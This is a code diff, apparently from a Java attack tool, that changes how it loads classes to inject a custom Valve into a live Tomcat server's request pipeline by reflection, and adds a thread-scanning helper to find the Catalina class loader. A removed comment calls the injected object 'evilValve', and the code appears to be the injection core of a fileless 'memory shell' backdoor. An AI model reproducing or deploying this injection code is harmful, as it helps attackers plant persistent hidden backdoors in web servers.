@@ -97,10 +97,7 @@ else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader
9797 @ SuppressWarnings ("all" )
9898 private Object getValve (Object context ) {
9999 Object valve = null ;
100- ClassLoader classLoader = Thread .currentThread ().getContextClassLoader ();
101- if (classLoader == null ) {
102- classLoader = context .getClass ().getClassLoader ();
103- }
100+ ClassLoader classLoader = context .getClass ().getClassLoader ();
104101 try {
105102 valve = classLoader .loadClass (getClassName ()).newInstance ();
106103 } catch (Exception e ) {
@@ -163,16 +160,11 @@ public void injectValve(Object context, Object valve) throws Exception {
163160 return ;
164161 }
165162 try {
166- Class ValveClass ;
167- try {
168- ValveClass = Thread .currentThread ().getContextClassLoader ().loadClass ("org.apache.catalina.Valve" );
169- } catch (Exception e ) {
170- ValveClass = context .getClass ().getClassLoader ().loadClass ("org.apache.catalina.Valve" );
171- }
163+ Class valveClass ;
164+ String valveClassName = "org.apache.catalina.Valve" ;
165+ valveClass = context .getClass ().getClassLoader ().loadClass (valveClassName );
172166 Object obj = invokeMethod (context , "getPipeline" );
173- // Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT);
174- // obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve);
175- invokeMethod (obj , "addValve" , new Class []{ValveClass }, new Object []{valve });
167+ invokeMethod (obj , "addValve" , new Class []{valveClass }, new Object []{valve });
176168 } catch (Exception e ) {
177169 e .printStackTrace ();
178170 }
@@ -246,4 +238,17 @@ public static synchronized Object invokeMethod(final Object obj, final String me
246238 }
247239 }
248240 }
241+
242+ public ClassLoader getCatalinaLoader () throws NoSuchMethodException , InvocationTargetException , IllegalAccessException {
243+ Thread [] threads = (Thread []) invokeMethod (Thread .class , "getThreads" );
244+ ClassLoader catalinaLoader = null ;
245+ for (Thread thread : threads ) {
246+ // 适配 v5 的 Class Loader 问题
247+ if (thread .getName ().contains ("ContainerBackgroundProcessor" )) {
248+ catalinaLoader = thread .getContextClassLoader ();
249+ break ;
250+ }
251+ }
252+ return catalinaLoader ;
253+ }
249254}
0 commit comments